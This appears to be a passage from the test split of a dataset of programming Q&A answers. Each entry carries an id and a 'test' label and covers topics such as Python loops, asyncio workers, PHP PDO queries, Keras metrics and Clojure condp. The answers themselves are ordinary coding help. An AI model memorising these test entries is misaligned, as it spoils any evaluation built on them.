result = num_check(guess, num)
else:
print('Your guess was CORRECT! You got it in ' + str(att) + ' attempts!')
The best way woul be to use a will loop as follow:
while guess != num:
A: how can you expect it to run more than 1 time if you have not used any loop in the program. For example in this case you should use a while loop, then only it will prompt the user again and again and will check for the conditions, set a game variable to be True. When the number is matched then simply set the game variable to be False and it will end the loop.
import random
# Set the game variable initially to be True
game = True
# Define function - Number Generator
def num_gen():
num = random.randrange(1, 101)
return num
# Define function - Number Check
def num_check(x, y):
result = ''
if x > y:
result = 'high'
elif x < y:
result = 'low'
else:
result = 'correct'
return result
# Call - Number Generator
num = num_gen()
# Input - Guess
guess = int(input('Please guess a number between 1 and 100: '))
att = 1
# Process - Guess and Display Result
result = num_check(guess, num)
while game:
if result == 'high':
guess = int(input('Your guess was HIGH! Please guess another number between 1 and 100: '))
att += 1
result = num_check(guess, num)
elif result == 'low':
guess = int(input('Your guess was LOW! Please guess another number between 1 and 100: '))
att += 1
result = num_check(guess, num)
else:
print('Your guess was CORRECT! You got it in ' + str(att) + ' attempts!')
game = False | unknown | |
d18133 | test | Is the publisher actually using async serving or is the creative actually wrapped in a Safe Frame?
The reason I am asking is because if the publisher uses synchronous serving and haven't selected to wrap the creative in SafeFrame, there will be no such.
A: It looks like, you don't display ad from SafeFrame, but from Friendly Iframe, or you call DFP synchronicaly. Try to debug your ad unit on page, if it came from SafeFrame https://support.google.com/dfp_premium/answer/7449957?hl=en&ref_topic=7362877. | unknown | |
d18134 | test | Assuming the collection is actually called resources - i.e. you have something that looks like:
resources = new Mongo.Collection('Resources');
Then it sounds like you just need to publish the documents to the client:
server/publishers.js
Meteor.publish('resources', function() {
return resources.find();
});
client/subscriptions.js
Meteor.subscribe('resources');
Of course the subscription could happen in your template or router instead of globally, but that's beyond the scope of this question.
Also note you should add a guard to your helper. For example:
Template.ResourceManager.helpers({
BoosterOneFuel : function() {
var b1 = resources.findOne({system : "booster1"});
return b1 && b1.fuel;
}
}); | unknown | |
d18135 | test | Your problem is that you are using id for check all checkbox that's why jquery always select check-box from first drop-down (Product)
you need to use checkAll as class not id then change your clickMe() function like this and it will work :
function clickMe(){
$(".checkAll").click(function () {
if ($(this).is(':checked')) {
$(this).closest('.k-filter-menu').find(".book").prop("checked", true);
} else {
$(this).closest('.k-filter-menu').find(".book").prop("checked", false);
}
});
}
Here is working example http://dojo.telerik.com/aqIXa
Edit :
the way you are using to add Select all checkbox should be like this
var selectAllCheckbox= $("<div><input type='checkbox' class='checkAll' checked/> Select All</div>").insertBefore(e.container.find(".k-filter-help-text"));
insted of this
var selectAllCheckbox= $("<div><input type='checkbox' id='checkAll' checked/> Select All</div>").insertBefore(".k-filter-help-text");
otherwise it will add multiple Select All check box for previously initialized filter-dropdowns.
Here is updated demo :http://dojo.telerik.com/aqIXa/4 | unknown | |
d18136 | test | I think that your plugin doesn`t set value for your textarea. Check for this. | unknown | |
d18137 | test | Have you actually assigned a value to the Intent? Simply coding Intent intent; will throw a NullPointerException when you call startActivity(intent); like the one you got. Alternately, have you added your second activity to the Manifest file? Android won't launch an Activity that isn't in its Manifest.
A: Add followin permission to ur AndroidManifest.xml
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
If u have forgotten to add it, then add it. | unknown | |
d18138 | test | I think what you are looking for here is not running in batches but running N workers which concurrently pull tasks off of a queue.
N = 10 # scale based on the processing power and memory you have
async def main():
async with httpx.AsyncClient() as client:
tasks = asyncio.Queue()
for item in get_items_from_csv():
tasks.put_nowait(process_item(item, client))
async def worker():
while not tasks.empty():
await tasks.get_nowait()
# for a server
# while task := await tasks.get():
# await task
await asyncio.gather(*[worker() for _ in range(N)])
I used an asyncio.Queue but you can also just use a collections.deque since all tasks are being added to the queue prior to starting a worker. The former is especially useful when running workers that run in a long running process (e.g. a server) where items may be asynchronously queued. | unknown | |
d18139 | test | Okay, here is what you have to do
*
*Get rid of all the home-brewed stuff. Instead of whatever $user->runQuery use vanilla PDO.
*Verify the input. See whether your variable contain anything useful.
*Use PDO properly, utilizing prepared statements.
*Make your code to give at least any outcome.
*Do realize that above instruction is not a ready to use solution on a golden plate but just steps you have to make yourself to investigate the problem.
So
ini_set('display_errors',1);
error_reporting(E_ALL);
$dsn = "mysql:host=$host;dbname=$db;charset=$charset";
$opt = [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION];
$pdo = new PDO($dsn, $user, $pass, $opt);
var_dump("that argle-bargle var name I can't type it:",$butchJobOpen_butchJobNum);
$sql = "SELECT binWeight FROM jobBins jb
JOIN butchJobOpen bjo ON bjo.jobBins_binID = jb.binID
JOIN butchJobClose bjc ON bjc.butchJobOpen_butchJobNum = bjo.butchJobNum
WHERE bjo.butchJobNum = ?";
$res = $pdo->prepare($sql);
$res->execute([$butchJobOpen_butchJobNum]);
$binWeight = $res->fetchColumn();
var_dump("bin weight:", $binWeight);
var_dump("trim weight:", $trimWeight);
$trimYield = $binWeight / $trimWeight;
var_dump("finally", $trimYield);
The var_dump part is most essential, giving you a clue what's going on in your program. A 10000 times more fruitful than a hour of staring at the code or a whine on SO.
The point here is to verify every bloody variable's state. And yo see whether it contains anything expected. | unknown | |
d18140 | test | Index of text widget should be in one of these formats (i.e "line.column" or tk.END etc.) and your 0 doesn't fit in to any of those.
You should change delete line to:
listings.delete("1.0", "end") #you can use END instead of "end"
to delete everything in text widget.
And to make each row appear on new line, simply insert a new line manually after instering row.
for row in personal_library_backend.view():
listings.insert("end", row)
listings.insert("end","\n")
#there is an extra new line at the end, you can remove it using
txt.delete("end-1c", "end") | unknown | |
d18141 | test | <form method="post">
<input type="text" name="numbers"/>
<div><input type="submit" value="submit"></div>
</form>
<?php
if(isset($_POST['numbers']))
{
$arrayNums = explode(",", $_POST['numbers']);
var_dump($arrayNums);
}
?>
Submitting a form will not pass a submit value in your html designed.
Instead, you could check for the numbers that are posted.
A: You must use $_POST[] superglobal if you are posting the form data to the server and not $_GET[]. | unknown | |
d18142 | test | You can use request()->getQueryString() to check against the query parameters.
@if (!str_contains(request()->getQueryString(), 'page')) || (str_contains(request()->getQueryString(), 'page=1'))
// show pagination only if page is 1 or there is no page param
@endif | unknown | |
d18143 | test | Tough it isn't the most eloquent solution, you could try to create your own middleware that loads other middleware in a if/else or switch statement. That way you might be able to achieve the behaviour you'd want.
Check the docs on the link below on how to program your own middleware:
https://laravel.com/docs/5.3/middleware#defining-middleware | unknown | |
d18144 | test | Try using location.hash which should return #random=123 | unknown | |
d18145 | test | Not sure if this will exactly fit the bill, but check out the ASP.NET Scrollable Table Server Control
Or were you asking for a slider pager control that will load more results for the user?
A: For future reference,
.FixedHeightContainer
{
float:left;
height: 350px;
width:100%;
padding:3px;
}
.Content
{
height:224px;
overflow:auto;
}
along with:
<div class="FixedHeightContainer">
<h2>Results</h2>
<div class="Content">
<asp:Table ID="Table1" runat="server" GridLines="Both" Height="350px" Width="80%">
<asp:TableHeaderRow>
<asp:TableHeaderCell>
</asp:TableHeaderCell>
</asp:TableHeaderRow>
</asp:Table>
</div>
</div>
Is what I used to create a table with a slider
Thanks for all the comments :)
Nikita Silverstruk, your comment helped so much :) thanks | unknown | |
d18146 | test | When you docker build, you create a container which embeds all stuffs specified in the Dockerfile.
If during the execution a local resource cannot be found, then it is most likely that the ressource is not wothin the container or you passed a wrong location.
In your case, you might be looking for the WORKDIR dockerfile command: WORKDIR .
NOTE: During the debug phase, feel free to edit your Dockerfile in order to get more (precise) pieces of information. For instance, you could change the last line to print out the current working directory and list all the files it contains. The associated commands are respectively pwd and ls -la. | unknown | |
d18147 | test | You can remove an element in javascript using
var el = document.getElementById('id');
var remElement = (el.parentNode).removeChild(el);
A: I'd suggest something akin to the following:
function swapImageSrc(elem, nextElemId) {
if (!elem) {
return false;
}
if (!nextElemId || !document.getElementById(nextElemId)) {
var id = elem.id.replace(/\d+/, ''),
nextNum = parseInt(elem.id.match(/\d+/), 10) + 1,
next = document.getElementById(id + nextNum).src;
}
else {
var next = document.getElementById(nextElemId).src;
}
elem.src = next;
}
var images = document.getElementsByTagName('img');
for (var i = 0, len = images.length; i < len; i++) {
images[i].onclick = function() {
swapImageSrc(this,imgButton2);
};
}
JS Fiddle demo.
Edited to add that, while it is possible to switch the src attribute of an image it seems needless, since both images are present in the DOM. The alternative approach is to simply hide the clicked image and show the next:
function swapImageSrc(elem, nextElemId) {
if (!elem) {
return false;
}
if (!nextElemId || !document.getElementById(nextElemId)) {
var id = elem.id.replace(/\d+/, ''),
nextNum = parseInt(elem.id.match(/\d+/), 10) + 1,
next = document.getElementById(id + nextNum);
}
else {
var next = document.getElementById(nextElemId);
}
if (!next){
return false;
}
elem.style.display = 'none';
next.style.display = 'inline-block';
}
var images = document.getElementsByTagName('img');
for (var i = 0, len = images.length; i < len; i++) {
images[i].onclick = function() {
swapImageSrc(this,imgButton2);
};
}
JS Fiddle demo.
Edited to offer an alternate approach, which moves the next element to the same location as the clicked image element:
function swapImageSrc(elem, nextElemId) {
if (!elem) {
return false;
}
if (!nextElemId || !document.getElementById(nextElemId)) {
var id = elem.id.replace(/\d+/, ''),
nextNum = parseInt(elem.id.match(/\d+/), 10) + 1,
next = document.getElementById(id + nextNum);
}
else {
var next = document.getElementById(nextElemId);
}
if (!next){
return false;
}
elem.parentNode.insertBefore(next,elem.nextSibling);
elem.style.display = 'none';
next.style.display = 'inline-block';
}
var images = document.getElementsByTagName('img');
for (var i = 0, len = images.length; i < len; i++) {
images[i].onclick = function() {
swapImageSrc(this,imgButton2);
};
}
JS Fiddle demo.
A: You can hide the first button, not only change the image source. The code below shows one way of doing that.
<img src="images/14.gif" id="ImageButton1" onClick="swapButtons(false)" style="visibility: visible;" />
<img src="images/getld.png" id="ImageButton2" alt="Get Last Digits" style="visibility: hidden;" onClick="swapButtons(true)" />
<script type="text/javascript" language="javascript">
function swapButtons(show1) {
document.getElementById('ImageButton1').style.visibility = show1 ? 'visible' : 'hidden';
document.getElementById('ImageButton2').style.visibility = show1 ? 'hidden' : 'visible';
}
</script> | unknown | |
d18148 | test | You need an interceptor for your Angular client, so make a new injectable like this:
@Injectable()
export class AuthInterceptor implements HttpInterceptor {
constructor(private authenticationService: AuthenticationService) {}
intercept(request: HttpRequest<any>, next: HttpHandler): Observable<HttpEvent<any>> {
const username = this.authenticationService.username; //get your credentials from wherever you saved them after authentification
const password = this.authenticationService.password;
if (username && password) {
request = request.clone({
setHeaders: {
Authorization: this.createBasicAuthToken(username, password),
}
});
}
return next.handle(request);
}
}
and add this to your providers located in app.module.ts:
{provide: HTTP_INTERCEPTORS, useClass: AuthInterceptor, multi: true},
This will add your authentication data to each request so you don't have to login every time. | unknown | |
d18149 | test | How about something like this? Would this work for you?
Debug Context:
import sys
class debug_context():
""" Debug context to trace any function calls inside the context """
def __init__(self, name):
self.name = name
def __enter__(self):
print('Entering Debug Decorated func')
# Set the trace function to the trace_calls function
# So all events are now traced
sys.settrace(self.trace_calls)
def __exit__(self, *args, **kwargs):
# Stop tracing all events
sys.settrace = None
def trace_calls(self, frame, event, arg):
# We want to only trace our call to the decorated function
if event != 'call':
return
elif frame.f_code.co_name != self.name:
return
# return the trace function to use when you go into that
# function call
return self.trace_lines
def trace_lines(self, frame, event, arg):
# If you want to print local variables each line
# keep the check for the event 'line'
# If you want to print local variables only on return
# check only for the 'return' event
if event not in ['line', 'return']:
return
co = frame.f_code
func_name = co.co_name
line_no = frame.f_lineno
filename = co.co_filename
local_vars = frame.f_locals
print (' {0} {1} {2} locals: {3}'.format(func_name,
event,
line_no,
local_vars))
Debug Decorator:
def debug_decorator(func):
""" Debug decorator to call the function within the debug context """
def decorated_func(*args, **kwargs):
with debug_context(func.__name__):
return_value = func(*args, **kwargs)
return return_value
return decorated_func
Usage
@debug_decorator
def testing() :
a = 10
b = 20
c = a + b
testing()
Output
###########################################################
#output:
# Entering Debug Decorated func
# testing line 44 locals: {}
# testing line 45 locals: {'a': 10}
# testing line 46 locals: {'a': 10, 'b': 20}
# testing return 46 locals: {'a': 10, 'b': 20, 'c': 30}
########################################################### | unknown | |
d18150 | test | As you have already noticed, the difference is due to the different mapping of the labels.
LIBSVM uses its own labels internally and therefore needs a mapping between the internal labels and the labels you provided.
The labels in this mapping are generated using the order the labels appear in the training data. So if the label of the first element in your training data changes, the label mapping also changes. | unknown | |
d18151 | test | Just a suggestion.
Had you think about create a base result class and derive all different result types from it? Doing in that way you can think in use polymorphism to re-interpret the result to the concrete type.
But as I don't know your design in depth this can add some extra complexity for you. At least hope it can give some inspiration :)
A: Switch also could be replaced with ChainOfResonsibility
A: Some kind of factory pattern maybe
public class ParserFactory
{
public static IParser Create(string type)
{
IParser parser;
switch (type)
{
case "1":
parser = new Parser1();
break;
case "2":
parser = new Parser2();
break;
default:
throw new ArgumentOutOfRangeException("type");
}
return parser;
}
}
And return objects that implements an interface as well
public class Parser1 : IParser
{
public IParseResult Parse(string xml)
{
//Set values
return result;
}
} | unknown | |
d18152 | test | If you want to round up and slice appropriately:
l = list(range(363))
at_a_time = 10
n = len(l)
d, r = divmod(n, at_a_time)
# if there is a remainder, add 1 to the keys, 363 -> 37 keys 360 -> 36 keys
num_keys = d + 1 if r else d
# get correct slice size based on amount of keys
sli = n // num_keys
# create "sli" sized chunks
vals = (l[i:i+sli] for i in range(0, n, sli+1))
# make dict from `1 to num_keys inclusive and slices
dct = dict(zip(range(1,num_keys+1),vals))
print(dct)
{1: [0, 1, 2, 3, 4, 5, 6, 7, 8], 2: [10, 11, 12, 13, 14, 15, 16, 17, 18], 3: [20, 21, 22, 23, 24, 25, 26, 27, 28], 4: [30, 31, 32, 33, 34, 35, 36, 37, 38], 5: [40, 41, 42, 43, 44, 45, 46, 47, 48], 6: [50, 51, 52, 53, 54, 55, 56, 57, 58], 7: [60, 61, 62, 63, 64, 65, 66, 67, 68], 8: [70, 71, 72, 73, 74, 75, 76, 77, 78], 9: [80, 81, 82, 83, 84, 85, 86, 87, 88], 10: [90, 91, 92, 93, 94, 95, 96, 97, 98], 11: [100, 101, 102, 103, 104, 105, 106, 107, 108], 12: [110, 111, 112, 113, 114, 115, 116, 117, 118], 13: [120, 121, 122, 123, 124, 125, 126, 127, 128], 14: [130, 131, 132, 133, 134, 135, 136, 137, 138], 15: [140, 141, 142, 143, 144, 145, 146, 147, 148], 16: [150, 151, 152, 153, 154, 155, 156, 157, 158], 17: [160, 161, 162, 163, 164, 165, 166, 167, 168], 18: [170, 171, 172, 173, 174, 175, 176, 177, 178], 19: [180, 181, 182, 183, 184, 185, 186, 187, 188], 20: [190, 191, 192, 193, 194, 195, 196, 197, 198], 21: [200, 201, 202, 203, 204, 205, 206, 207, 208], 22: [210, 211, 212, 213, 214, 215, 216, 217, 218], 23: [220, 221, 222, 223, 224, 225, 226, 227, 228], 24: [230, 231, 232, 233, 234, 235, 236, 237, 238], 25: [240, 241, 242, 243, 244, 245, 246, 247, 248], 26: [250, 251, 252, 253, 254, 255, 256, 257, 258], 27: [260, 261, 262, 263, 264, 265, 266, 267, 268], 28: [270, 271, 272, 273, 274, 275, 276, 277, 278], 29: [280, 281, 282, 283, 284, 285, 286, 287, 288], 30: [290, 291, 292, 293, 294, 295, 296, 297, 298], 31: [300, 301, 302, 303, 304, 305, 306, 307, 308], 32: [310, 311, 312, 313, 314, 315, 316, 317, 318], 33: [320, 321, 322, 323, 324, 325, 326, 327, 328], 34: [330, 331, 332, 333, 334, 335, 336, 337, 338], 35: [340, 341, 342, 343, 344, 345, 346, 347, 348], 36: [350, 351, 352, 353, 354, 355, 356, 357, 358], 37: [360, 361, 362]}
If you don't want the list sliced evenly and the remainder to be added to the last key just use your atatime for each slice (10 in the example code):
vals = (l[i:i+at_a_time] for i in range(0, n, sli+1))
We can also use num_keys = n + (at_a_time - 1) // at_a_time to round as any value that has a remainder // at_a_time will be rounded up adding at_a_time - 1 to it , any number evenly divisible will not.
You can do it all in a dict comprehension making some changes to the code but I think you will hopefully learn more from explicit code.
A: The following dict comprehension slices the list into the required number of slices.
In other words, idx+1 is the key, whereas lst[atatime*idx:atatime*(idx+1)] is the value of a dictionary defined using dict-comprehension. The value is a slice of atatime length. We iterate over the (rounded upwards) size of the list divided by the chunk-size using an xrange iterator.
from math import ceil
{idx+1: lst[atatime*idx:atatime*(idx+1)] for idx in xrange(int(ceil(float(len(lst))/atatime)))} | unknown | |
d18153 | test | You can't add multiple metrics in metrics argument, changing only the parameter with which you call the metric. During the fit of your model, it will detect that you have multiple metrics with same name. The name is automatically set as the name of the inner metric function: acc1, recall and prec in your case.
So when it goes through your metrics, it will find single_class_accuracy(0) and will call it acc1, then will find single_class_accuracy(1) and will try to call it acc1 too, which leads to the error.
What you can do is set different names to your metric functions, like so:
def single_class_accuracy(interesting_class_id):
def acc1(y_true, y_pred):
class_id_true = K.argmax(y_true)
class_id_preds = K.argmax(y_pred)
accuracy_mask = K.cast(K.equal(class_id_preds, interesting_class_id), 'int32')
class_acc_tensor = K.cast(K.equal(class_id_true, class_id_preds), 'int32') * accuracy_mask
class_acc = K.cast(K.sum(class_acc_tensor), 'float32') / K.cast(K.maximum(K.sum(accuracy_mask), 1), 'float32')
return class_acc
# setting a name according to your additional parameter
acc1.__name__ = 'acc_1_{}'.format(interesting_class_id)
return acc1 | unknown | |
d18154 | test | You can make use of the .on() function in order to fire an event once the window is resized or loaded.
Example of non working code:
var running = false;
function imagePopup() {
running = true;
do the rest here
}
$(window).on("load resize",function(e){
if ($(window).width() > 768 && running == false) {
imagePopup();
}
});
Read more here about on() - that's one way of doing it, if you're showing an image, you can always use a css selector to see if its showing or not rather than a flag (true, false).
At the end of the day; I believe; what you want is called a modal image; you can see an example of how to do it here. | unknown | |
d18155 | test | This can be done the following way
v[myhash( k )].remove( { k, k } );
A: When you use a range-for loop, you get the items of the list. std::list does not have a version of erase that accepts an item to be removed from a list.
Instead of using a range-for loop, use an iterator and a normal for loop.
auto& list = v[myhash(k)];
auto iter = list.begin();
auto end = list.end();
for (; iter != end; ++iter )
{
if (iter->first == k)
{
//then delete the pair
list.erase(iter);
break;
}
} | unknown | |
d18156 | test | M is not diagonally dominant nor positive definite. Use function chol() for positive definite test.
The assignment x_old = x_new should not be in the inner loop:
while it < maxit
x_old = x_new;
x_new(1) = (1 / A(1, 2)) * ( b(1) - A(1, 3) * x_old(2) );
for i = 2 : n - 1
x_new(i) = (1 / A(i, 2)) * ( b(i) - A(i, 1) * x_new(i - 1) - A(i, 3) * x_old(i + 1) );
end
x_new(n) = (1 / A(n, 2)) * ( b(n) - A(n, 1) * x_new(n - 1) );
if norm(x_new - x_old, 'inf') <= max_error
break
end
it = it + 1;
end | unknown | |
d18157 | test | (I hope I've understood your question correctly.)
The relations in your database are always defined in database types, probably either an int or a uniqueidentifer in the case of foreign key columns. The database should know nothing of the data transfer objects NHibernate returns to your application code.
When you map the foreign key columns in your data transfer objects using ManyToOne, etc., you specify the type of the object because NHibernate knows that the relation is always going to be between the foreign key column you specify in the attribute, and the Id (primary key) of the object type to be returned. This saves you the trouble of doing extra queries to return parent or child entities -- NHibernate just does a JOIN for you automatically and returns the relational information as an object hierarchy, instead of just a set of id values. | unknown | |
d18158 | test | Ranking in this context appears to be in terms of sorted order. For that purpose one can compare the position of the elements in the original list against a sorted list to get the correct answer.
Example:
s = [2,1,-99,100,45,-2]
sorted_s = sorted(s)
ranked_s = [
sorted_s.index(value) + 1
for value in s
]
print(rank)
Output:
[4, 3, 1, 6, 5, 2] | unknown | |
d18159 | test | import re
text = """System Id Interface Circuit Id State HoldTime Type PRI
--------------------------------------------------------------------------------
rtr1.lab01.some GE0/0/1 0000000001 Up 22s L2 --
thing
rtr2.lab01.some GE0/0/2 0000000002 Up 24s L2 --
thingelse
rtr2.lab01.abcd GE0/0/4 0000000003 Up 24s L2 --
rtr2.lab01.none GE0/0/24 0000000004 Up 24s L2 --
sense
rtr2.lab01.efgh GE0/0/5 0000000003 Up 24s L2 --
"""
lines = text.rstrip().split('\n')[2:]
n_lines = len(lines)
current_line = -1
def get_next_line():
# Actual implementation would be reading from a file and yielding lines one line at a time
global n_lines, current_line, lines
current_line += 1
# return special sentinel if "end of file"
return lines[current_line] if current_line < n_lines else '$'
def get_system_id():
line = None
while line != '$': # loop until end of file
if line is None: # no current line
line = get_next_line()
if line == '$': # end of file
return
m = re.search(r'^([a-zA-Z0-9][a-zA-Z0-9.-]+[a-zA-Z0-9])', line)
id = m[1]
line = get_next_line() # might be sentinel
if line != '$' and re.match(r'^[a-zA-Z0-9]+$', line): # next line just single id?
id += line
line = None # will need new line
yield id
for id in get_system_id():
print(id)
Prints:
rtr1.lab01.something
rtr2.lab01.somethingelse
rtr2.lab01.abcd
rtr2.lab01.nonesense
rtr2.lab01.efgh
See Python Demo | unknown | |
d18160 | test | library(dplyr)
dat %>%
group_by(Site, Year, Month) %>%
summarise_each(funs(sum=sum(., na.rm=TRUE)), Count1:Count3)
# Source: local data frame [3 x 6]
#Groups: Site, Year
# Site Year Month Count1 Count2 Count3
# 1 1 1 July 4 0 3
# 2 1 1 June 23 11 6
# 3 1 1 May 30 17 18
A: Or data.table solution (which will keep your data sorted by the original month order)
library(data.table)
setDT(df)[, lapply(.SD, sum),
by = list(Site, Year, Month),
.SDcols = paste0("Count", seq_len(3))]
# Site Year Month Count1 Count2 Count3
# 1: 1 1 May 30 17 18
# 2: 1 1 June 23 11 6
# 3: 1 1 July 4 0 3
A: With aggregate:
> ( a <- aggregate(.~Site+Year+Month, dat[-length(dat)], sum) )
# Site Year Month Count1 Count2 Count3
# 1 1 1 July 4 0 3
# 2 1 1 June 23 11 6
# 3 1 1 May 30 17 18
Where dat is your data.
Note that your July results in the post are seem to be incorrect.
For the result in the order of the original data, you can use
> a[order(as.character(unique(dat$Month))), ]
# Site Year Month Count1 Count2 Count3
# 3 1 1 May 30 17 18
# 2 1 1 June 23 11 6
# 1 1 1 July 4 0 3 | unknown | |
d18161 | test | I figured it out. I thought the problem was in my swtbot tester plugin, but it was indeed in one of the several plugins present in the product i am testing. Solution was to add the dependency in the correct plugin of the product (instead of adding it in the swtbot tester plugin).
Thanks anyway | unknown | |
d18162 | test | After your comment, I took your HTML and checked it with a CDN copy of tinyMCE and it work fine: http://codepen.io/anon/pen/mIvFg so I can only assume it's an error with your tinymce.min.js file. | unknown | |
d18163 | test | You should create the pixmap with its biggest possible dimensions. When the ball is meant to be small, just scale it down as you wish. | unknown | |
d18164 | test | Because you add them to the stage, you could try naming them and then calling them via the stage's getChildByName method.
Or you could build an array of loaders or, better yet, movieClips. Something like:
import flash.display.Loader;
import flash.net.URLRequest;
var loader:Loader = new URLLoader();
var request:URLRequest = new URLRequest("myXML.xml");
loader.load(request);
var images:Array = new Array();
loader.addEventListener(Event.Complete, proessFile);
function processFile(e:Event):void
{
var loadedXML:XML = (e.target.data);
}
//load set of images from XML file
for (var i:uint = 0; i < loadedXML.image.length(); i++)
{
// create a new movie clip
var tmpMovieClip:MovieClip = new MovieClip();
var imgLoader:Loader = new Loader();
var imgRequest:URLRequest = new URLRequest (loadedXML.img[i].attribute("filepath"));
imgLoader.load(imgRequest);
// add the loader to the movie clip's display list
tmpMovieClip.addChild(imgLoader);
// add the movieclip to the previously declared array
images.push(tmpMovieClip);
}
This way, you can call and use any element of the Array when you need them. If you don't need the MoviClips, you could just add the Loader instances into the Array.
A: I'm afraid I am having trouble understanding some your questions.
Is it possible to change it into another data type, b/c I can't work with Loader?
First, what data type would you like to change it to. Second, why can't you work with Loader?
I've tried assign them .name property, but I was unable to call them later.
Why did you want to call them and how did you try to?
I need to work with every single loaded image as new object.
Each loader object encapsulates a single image object. The image is actually inside the Loader (on the .content property).
evilpenguin describes how you can store references to the loader objects inside an array so that you can access them later. That is the correct basic approach. The real question is: "What exactly are you trying to do?"
You say:
here I need to make every single image draggable.
If it is that simple, then add events directly to the loader (which encapsulates the image).
for each(var image:XML in loadedXML.image)
{
var imgLoader:Loader = new Loader();
var imgRequest:URLRequest = new URLRequest(image.@filepath);
imgLoader.load(imgRequest);
addChild(imgLoader);
// NOTE: you may want to wait until it is done loading
// before you add drag and drop behaviour although
// that isn't strictly necessary
makeDraggable(imgLoader);
}
function makeDraggable(loader:Loader):void
{
loader.addEventListener(MouseEvent.MOUSE_DOWN, startDrag);
loader.addEventListener(MouseEvent.MOUSE_UP, stopDrag);
// NOTE: I'll leave it up to you to decide
// how you want to implement drag and drop
}
Note: I've also changed your loop to use E4X which is a much nice way of dealing with XML in Actionscript.
A: To create a 'copy' of your images simply do the following.
private function contentLoaderInfo_completeHandler(event:Event):void
{
var loaderInfo:LoaderInfo = event.target as LoaderInfo;
var originalBitmap:Bitmap = loaderInfo.content as Bitmap;
var newBitmap:Bitmap = new Bitmap(originalBitmap.bitmapData.clone());
images.push(addChild(newBitmap));
}
This way you are completely detached from the loader object and can dispose of them completely. Obviously as evilpenguin suggested you could then instead add them to Sprites or MovieClips and then add these to the stage (the Bitmap class is not a DisplayObjectContainer and so you can not add extra children to them). | unknown | |
d18165 | test | I don't think there is a more idiomatic way than using cond directly, binding "string argument" to a symbol and passing it to each predicate. Everything else looks confusing to people reading your code and involves extra function calls.
Extra magic could be achieved with the following helper macro:
(defmacro pcond
"Translates clauses [pred result-expr] to a cond form:
(cond
(pred expr) result-expr
...)
A single result-expr can follow the clauses, and it will be appended
to the cond form under a generated test expression that returns logical
true."
[expr & clauses]
(let [expr-sym (gensym "expr")
else-kw (keyword (gensym "else"))
step (fn [[pred-form clause-form]]
(if (= else-kw clause-form)
[else-kw pred-form]
[(list pred-form expr-sym) clause-form]))
body (->> clauses
(partition 2 2 [else-kw])
(mapcat step))]
`(let [~expr-sym ~expr]
(cond ~@body))))
You can use it so
(pcond "String argument"
predicate1 "Result1"
predicate2 "Result2"
"Else")
It macroexpands directly to cond:
(clojure.core/let [expr13755 "String argument"]
(clojure.core/cond
(predicate1 expr13755) "Result1"
(predicate2 expr13755) "Result2"
:else13756 "Else"))
A: You can use the anonymous function #(%1 %2) for what you are trying to do. IMO it's better than wrapping the condp expression in a vector, but either way works, neither is really straigthforward.
(condp #(%1 %2) "string argument"
string? "string"
map? "map"
vector? "vector"
"something else")
;= Result1
EDIT (copied from the comments)
I'm no expert on macros, but what I've heard over and over is that you shouldn't write a macro if a function will do and condp provides all the elements to use the power of Clojure functions. An approach that doesn't involve macros and improves readability could be defining a function (def apply-pred #(%1 %2)) and use it with condp. | unknown | |
d18166 | test | I had one of the new devices reported this problem, as you know the the Location Manager usually calls this:
-(void)mapView:(MKMapView *)mapView didUpdateUserLocation:(MKUserLocation *)userLocation
The bizarre thing is that the UserLocation object contains two coordinate objects:
1) userLocation.location.coordinate: This used to work fine, but for some reason it's returning NULL on IOS11 on some devices (it's unknown yet why or how this is behaving since IOS11).
2) userLocation.coordinate: This is another (same) object as you can see from the properties, it has the location data and continues to work fine with IOS11, this does not seem to be broken (yet).
So, with the example above, "I guess" that your:
*
*(void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray *)locations
Might be having the same problem (i.e. the array might be returning a NULL somewhere in the location object, but not the coordinate object, the solution I did on my code which gets one location at a time, is now fixed by by replacing userLocation.location.coordinate with userLocation.coordinate, and the problem gone away.
I also paste my function below to assist you further, hopefully it would help you to resolve yours too, notice that I have two conditions for testing one for sourcing the location object and the other for sourcing the coordinate object, one works fine now, and the other seems to be broken in IOS11:
-(void)mapView:(MKMapView *)mapView didUpdateUserLocation:(MKUserLocation *)userLocation
{
Log (4, @"MapView->DidUpdateUL - IN");
if (_OrderStartTrackingMode == enuUserMapTrackingMode_User)
{
if (userLocation)
{
if (userLocation.location)
{
if ( (userLocation.location.coordinate.latitude) && (userLocation.location.coordinate.longitude))
{
[_mapLocations setCenterCoordinate:userLocation.location.coordinate animated:YES];
} else {
if ( (userLocation.coordinate.latitude) && (userLocation.coordinate.longitude))
{
[self ShowRoutePointsOnMap:userLocation.coordinate];
}
}
}
}
} else if (_OrderStartTrackingMode == enuUserMapTrackingMode_Route) {
if (userLocation)
{
if ( (userLocation.coordinate.latitude) && (userLocation.coordinate.longitude))
{
[self ShowRoutePointsOnMap:userLocation.coordinate];
}
}
}
Log (4, @"MapView->DidUpdateUL - OUT");
}
Needless to say, have you checked your settings for the Map object, you should have at least "User Location" enabled:
P.S. The Log function on the code above is a wrapper to the NSLog function, as I use mine to write to files as well.
Good luck Uma, let me know how it goes.
Regards, Heider | unknown | |
d18167 | test | There is a simple way to do that if you're using numpy:
variance = tensors.var(axis=3) | unknown | |
d18168 | test | You've added a static import for ContentDisplay.CENTER. Therefore it's used in this line:
grid.setConstraints(new Button("Check"),3,4,1,2,LEFT,CENTER,Priority.SOMETIMES,Priority.SOMETIMES);
However this method expects VPos, which is not assignable from ContentDisplay, which is why this doesn't compile.
You could simply fix this import by changing the class you import from, but I do not recommend using static imports, since it makes the code harder to read (You have to check the imports to know where the member comes from).
I recommend importing HPos and VPos and using this code instead.
Furthermore setColumnConstraints is a static method and should not be referenced using an variable. (It's not wrong, but it's bad practice.) Being a static method this does not add the Button as child of grid. You need to do this in addition to setting the constraints.
Button button = new Button("Check");
GridPane.setConstraints(button,
3, 4,
1, 2,
HPos.LEFT, VPos.CENTER,
Priority.SOMETIMES, Priority.SOMETIMES);
grid.getChildren().add(button); | unknown | |
d18169 | test | The way to approach this is to make the container float right, and the items inside of it to float left, if you want to use floats for this purpose.
And since you are using float which will cause the element width to depend on its content, you will need to add a wrapper to your <nav> element, that will have the same background color, so that you achieve full width background visually. In my example below, I wrapped the list elements in the <ul>, and made <nav> be the top level container to add the background.
nav {
background-color: #96CB49;
overflow: hidden;
}
ul {
float: right;
list-style-type: none;
margin: 0;
padding: 0;
}
li {
float: left;
border-right: 1px solid black;
}
.active {
